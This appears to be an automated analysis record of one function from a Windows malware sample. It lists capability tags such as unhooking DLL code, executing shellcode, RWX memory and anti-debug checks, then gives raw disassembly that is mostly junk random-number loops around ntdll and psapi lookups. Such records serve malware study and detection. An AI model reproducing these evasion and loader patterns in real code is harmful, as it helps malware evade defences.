Function at 0x40152c
Capabilities:
Act as tcp client
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Encode data using base64
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Parse pe header
Read file via mapping
Receive data
Receive data on socket
Resolve dns

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
mov eax, 0x17e60
call fcn.0056e2c0
sub esp, eax
call fcn.0056d3e0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xbaf4], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xbaf8], eax
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xbafc], eax
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp], 0x4ec
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb00], eax
mov dword [esp], 0x68
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb04], eax
mov dword [esp], 0x68
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb08], eax
mov dword [esp], 0x68
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb0c], eax
mov dword [ebp - 0x10], 0
jmp 0x4016b8
mov dword [ebp - 0x14], 0
jmp 0x4016aa
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x7d0
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x10]
imul ecx, edx, 0x34
mov edx, dword [ebp - 0xbb04]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x7d0
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x10]
imul ecx, edx, 0x34
mov edx, dword [ebp - 0xbb08]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0xc
jle 0x40161a
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 1
jle 0x40160e
mov dword [ebp - 0x10], 0
jmp 0x401720
mov dword [ebp - 0x14], 0
jmp 0x401716
mov eax, dword [ebp - 0x10]
imul edx, eax, 0x34
mov eax, dword [ebp - 0xbb04]
add edx, eax
mov eax, dword [ebp - 0x14]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x10]
imul edx, eax, 0x34
mov eax, dword [ebp - 0xbb08]
add edx, eax
mov eax, dword [ebp - 0x14]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x10]
imul edx, eax, 0x34
mov eax, dword [ebp - 0xbb0c]
add edx, eax
fsubp st(1)
mov eax, dword [ebp - 0x14]
fstp dword [edx + eax*4]
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0xc
jle 0x4016d4
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 1
jle 0x4016cb
mov eax, dword [ebp - 0xbb04]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb08]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb0c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x498
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb10], eax
mov dword [esp], 0x498
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb14], eax
mov dword [ebp - 0x1c], 0x125
mov dword [ebp - 0x18], 0
jmp 0x4017c3
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x18]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb10]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x125
jle 0x401784
mov dword [ebp - 0x18], 0
jmp 0x401805
mov eax, dword [ebp - 0x1c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb10]
add eax, edx
mov edx, dword [ebp - 0x18]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xbb14]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x1c], 1
add dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0x125
jle 0x4017d5
mov eax, dword [ebp - 0xbb10]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb14]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xbb18], 0
mov dword [esp], 0x1980
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb1c], eax
mov dword [esp], 0x1980
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb20], eax
mov dword [esp], 0x1980
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb24], eax
mov dword [ebp - 0x20], 0
jmp 0x40191e
mov dword [ebp - 0x24], 0
jmp 0x401910
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x32
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x20]
mov ecx, edx
shl ecx, 7
mov edx, dword [ebp - 0xbb1c]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x32
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x20]
mov ecx, edx
shl ecx, 7
mov edx, dword [ebp - 0xbb20]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x1f
jle 0x401882
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x32
jle 0x401876
mov dword [ebp - 0x20], 0
jmp 0x40198c
mov dword [ebp - 0x24], 0
jmp 0x401982
mov eax, dword [ebp - 0x20]
shl eax, 7
mov edx, eax
mov eax, dword [ebp - 0xbb1c]
add edx, eax
mov eax, dword [ebp - 0x24]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x20]
shl eax, 7
mov edx, eax
mov eax, dword [ebp - 0xbb20]
add edx, eax
mov eax, dword [ebp - 0x24]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x20]
shl eax, 7
mov edx, eax
mov eax, dword [ebp - 0xbb24]
add edx, eax
fdivp st(1)
mov eax, dword [ebp - 0x24]
fstp dword [edx + eax*4]
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x1f
jle 0x40193a
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x32
jle 0x401931
mov eax, dword [ebp - 0xbb1c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb20]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb24]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x4cc
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb28], eax
mov dword [ebp - 0x28], 0
jmp 0x401a16
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x28]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb28]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x132
jle 0x4019d7
mov dword [ebp - 0x28], 0
jmp 0x401ad3
cmp dword [ebp - 0x28], 0
je 0x401a62
mov eax, dword [ebp - 0x28]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb28]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x28]
lea ecx, [eax*4]
mov eax, dword [ebp - 0xbb28]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jg 0x401a68
add dword [ebp - 0x28], 1
jmp 0x401ad3
mov eax, dword [ebp - 0x28]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb28]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x17c60], eax
mov eax, dword [ebp - 0x28]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb28]
add eax, edx
mov edx, dword [ebp - 0x28]
add edx, 0x3fffffff
lea ecx, [edx*4]
mov edx, dword [ebp - 0xbb28]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x28]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb28]
add edx, eax
mov eax, dword [ebp - 0x17c60]
mov dword [edx], eax
sub dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x132
jle 0x401a2b
mov eax, dword [ebp - 0xbb28]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xbb2c], 0
mov dword [esp], 0x26c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb30], eax
mov dword [ebp - 0x2c], 0
jmp 0x401bcd
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0xbb2c], eax
mov eax, dword [ebp - 0xbb2c]
imul eax, eax, 0x190
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0xbb2c], edx
cmp dword [ebp - 0xbb2c], 0x168
jle 0x401b72
mov eax, dword [ebp - 0x2c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb30]
add eax, edx
fldz
fstp dword [eax]
jmp 0x401bc9
cmp dword [ebp - 0xbb2c], 0
jns 0x401b93
mov eax, dword [ebp - 0x2c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb30]
add eax, edx
fldz
fstp dword [eax]
jmp 0x401bc9
fild dword [ebp - 0xbb2c]
fld qword [0x576190]
fmulp st(1)
fld qword [0x576198]
fdivp st(1)
mov eax, dword [ebp - 0x2c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb30]
add eax, edx
fstp dword [ebp - 0x17e48]
fld dword [ebp - 0x17e48]
fstp dword [eax]
add dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], 0x9a
jle 0x401b16
mov eax, dword [ebp - 0xbb30]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x558
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb34], eax
mov dword [esp], 0x558
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb38], eax
mov dword [ebp - 0x34], 0x155
mov dword [ebp - 0x30], 0
jmp 0x401c87
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x30]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb34]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x34]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb34]
add eax, edx
mov edx, dword [ebp - 0x30]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xbb38]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x34], 1
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 0x155
jle 0x401c1c
mov eax, dword [ebp - 0xbb34]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb38]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x38], 0x50
jmp 0x401cb9
sub dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0
jg 0x401cb5
mov dword [ebp - 0x44], 0
mov dword [esp], 0xf70
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb3c], eax
mov dword [ebp - 0x3c], 0
jmp 0x401d3e
mov dword [ebp - 0x40], 0
jmp 0x401d34
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x75a8acd
mov eax, ecx
imul edx
mov eax, edx
sar eax, 8
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x22d0
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x3c]
imul ecx, edx, 0x68
mov edx, dword [ebp - 0xbb3c]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x40]
fstp dword [edx + eax*4]
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x19
jle 0x401cea
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x25
jle 0x401ce1
mov dword [ebp - 0x3c], 0
jmp 0x401da3
mov dword [ebp - 0x40], 0
jmp 0x401d99
fild dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
imul edx, eax, 0x68
mov eax, dword [ebp - 0xbb3c]
add edx, eax
mov eax, dword [ebp - 0x40]
fld dword [edx + eax*4]
faddp st(1)
fnstcw word [ebp - 0x17e3a]
movzx eax, word [ebp - 0x17e3a]
or ah, 0xc
mov word [ebp - 0x17e3c], ax
fldcw word [ebp - 0x17e3c]
fistp dword [ebp - 0x44]
fldcw word [ebp - 0x17e3a]
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x19
jle 0x401d56
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x25
jle 0x401d4d
mov eax, dword [ebp - 0xbb3c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x440
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb40], eax
mov dword [ebp - 0x48], 0
jmp 0x401e0b
call sub.msvcrt.dll_rand
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fld qword [0x5761a0]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x48]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb40]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x87
jle 0x401dd2
mov dword [ebp - 0x48], 0
jmp 0x401e4b
mov eax, dword [ebp - 0x48]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb40]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x48]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb40]
add eax, edx
fabs
fstp qword [eax]
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x87
jle 0x401e1d
mov dword [esp], 0x890
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb44], eax
mov dword [esp], 0x890
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb48], eax
mov dword [ebp - 0x4c], 0
jmp 0x401f0a
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fstp qword [ebp - 0x17e48]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x46
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x17e40], eax
fild dword [ebp - 0x17e40]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb44]
add eax, edx
fdivr qword [ebp - 0x17e48]
fstp qword [eax]
add dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0x111
jle 0x401e84
mov dword [ebp - 0x4c], 0
jmp 0x401f55
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb44]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x4c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb48]
lea ebx, [edx + eax]
fstp qword [esp]
call fcn.0056e6a0
fstp qword [ebx]
add dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0x111
jle 0x401f20
mov dword [ebp - 0x50], 0xffffffff
mov dword [esp], 0x5c0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb4c], eax
add dword [ebp - 0x50], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fld qword [0x5761a0]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb4c]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb4c]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb4c]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x50], 0xb6
jle 0x401f77
mov dword [esp], 0x1b0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb50], eax
mov dword [esp], 0x1b0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb54], eax
mov dword [ebp - 0x58], 0x6b
mov dword [ebp - 0x54], 0
jmp 0x402082
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x54]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb50]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x58]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb50]
add eax, edx
mov edx, dword [ebp - 0x54]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xbb54]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x58], 1
add dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0x6b
jle 0x402017
mov eax, dword [ebp - 0xbb50]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb54]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x5c], 0xffffffff
mov dword [esp], 0xc28
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb58], eax
add dword [ebp - 0x5c], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fld qword [0x5761a0]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb58]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb58]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x5c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb58]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_asin
fstp qword [ebx]
cmp dword [ebp - 0x5c], 0x183
jle 0x4020bd
mov dword [ebp - 0x60], 0xffffffff
mov dword [esp], 0x800
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb5c], eax
mov dword [esp], 0x800
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb60], eax
add dword [ebp - 0x60], 1
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fstp qword [ebp - 0x17e48]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x46
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x17e40], eax
fild dword [ebp - 0x17e40]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb5c]
add eax, edx
fdivr qword [ebp - 0x17e48]
fstp qword [eax]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb5c]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb60]
lea ebx, [edx + eax]
fstp qword [esp]
call fcn.0056e4a0
fstp qword [ebx]
cmp dword [ebp - 0x60], 0xfe
jle 0x40215b
mov dword [esp], 0x200
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb64], eax
mov dword [esp], 0x200
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb68], eax
mov dword [esp], 0x200
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb6c], eax
mov dword [ebp - 0x64], 0
jmp 0x402309
mov dword [ebp - 0x68], 0
jmp 0x4022fb
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x64]
mov ecx, edx
shl ecx, 5
mov edx, dword [ebp - 0xbb64]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x68]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x64]
mov ecx, edx
shl ecx, 5
mov edx, dword [ebp - 0xbb68]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x68]
fstp dword [edx + eax*4]
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 7
jle 0x40226d
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0xf
jle 0x402261
mov dword [ebp - 0x64], 0
jmp 0x402377
mov dword [ebp - 0x68], 0
jmp 0x40236d
mov eax, dword [ebp - 0x64]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0xbb64]
add edx, eax
mov eax, dword [ebp - 0x68]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x64]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0xbb68]
add edx, eax
mov eax, dword [ebp - 0x68]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x64]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0xbb6c]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x68]
fstp dword [edx + eax*4]
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 7
jle 0x402325
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0xf
jle 0x40231c
mov eax, dword [ebp - 0xbb64]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb68]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb6c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x30c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb70], eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x6c], 0
jmp 0x40240d
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb70]
lea ebx, [edx + eax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x23
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0xc2
jle 0x4023d0
mov dword [ebp - 0x6c], 0
jmp 0x40243a
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb70]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x70], eax
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0xc2
jle 0x40241f
mov dword [ebp - 0x6c], 0
jmp 0x4024bd
fild dword [ebp - 0x74]
fstp qword [ebp - 0x17e48]
mov eax, dword [ebp - 0x6c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xbb70]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x17e40], eax
fild dword [ebp - 0x17e40]
fsub dword [ebp - 0x17c5c]
fld qword [0x5761a8]
fstp qword [esp + 8]
fstp qword [esp]
call fcn.0056e860
fadd qword [ebp - 0x17e48]
fnstcw word [ebp - 0x17e3a]
movzx eax, word [ebp - 0x17e3a]
or ah, 0xc
mov word [ebp - 0x17e3c], ax
fldcw word [ebp - 0x17e3c]
fistp dword [ebp - 0x74]
fldcw word [ebp - 0x17e3a]
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0xc2
jle 0x40244c
fild dword [ebp - 0x74]
fld dword [0x5761b0]
fdivp st(1)
fstp dword [ebp - 0xbb74]
fld dword [ebp - 0xbb74]
fstp qword [esp]
call fcn.0056e320
fstp dword [ebp - 0xbb78]
mov eax, dword [ebp - 0xbb70]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x78], 0
jmp 0x402533
call sub.msvcrt.dll_rand
imul eax, eax, 0x1a7
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fld qword [0x5761a0]
fdivp st(1)
fstp qword [esp]
call fcn.0056e770
fstp qword [ebp - 0x17c58]
add dword [ebp - 0x78], 1
cmp dword [ebp - 0x78], 0x57
jle 0x402502
mov dword [ebp - 0x7c], 0xffffffff
mov dword [esp], 0x500
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb7c], eax
add dword [ebp - 0x7c], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x7c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb7c]
add eax, edx
fld qword [0x5761a0]
fdivp st(1)
fstp qword [eax]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x7c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb7c]
add eax, edx
fld qword [eax]
fxch st(1)
mov eax, dword [ebp - 0x7c]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb7c]
lea ebx, [edx + eax]
fstp qword [esp + 8]
fstp qword [esp]
call fcn.0056e6d0
fstp qword [ebx]
cmp dword [ebp - 0x7c], 0x9e
jle 0x402552
fldz
fstp dword [ebp - 0x84]
mov dword [ebp - 0x80], 0
jmp 0x402649
fild dword [ebp - 0x80]
fld1
faddp st(1)
fstp dword [ebp - 0x17e48]
fld dword [ebp - 0x17e48]
fstp dword [esp + 4]
fld1
fchs
fstp dword [esp]
call fcn.0056e2f0
fild dword [ebp - 0x80]
fld st(0)
faddp st(1)
fld1
fsubp st(1)
fdivp st(1)
fld dword [ebp - 0x84]
faddp st(1)
fstp dword [ebp - 0x84]
add dword [ebp - 0x80], 1
cmp dword [ebp - 0x80], 0x63
jle 0x402607
fld dword [ebp - 0x84]
fld dword [0x5761b4]
fmulp st(1)
fstp dword [ebp - 0x84]
mov dword [ebp - 0x88], 0xffffffff
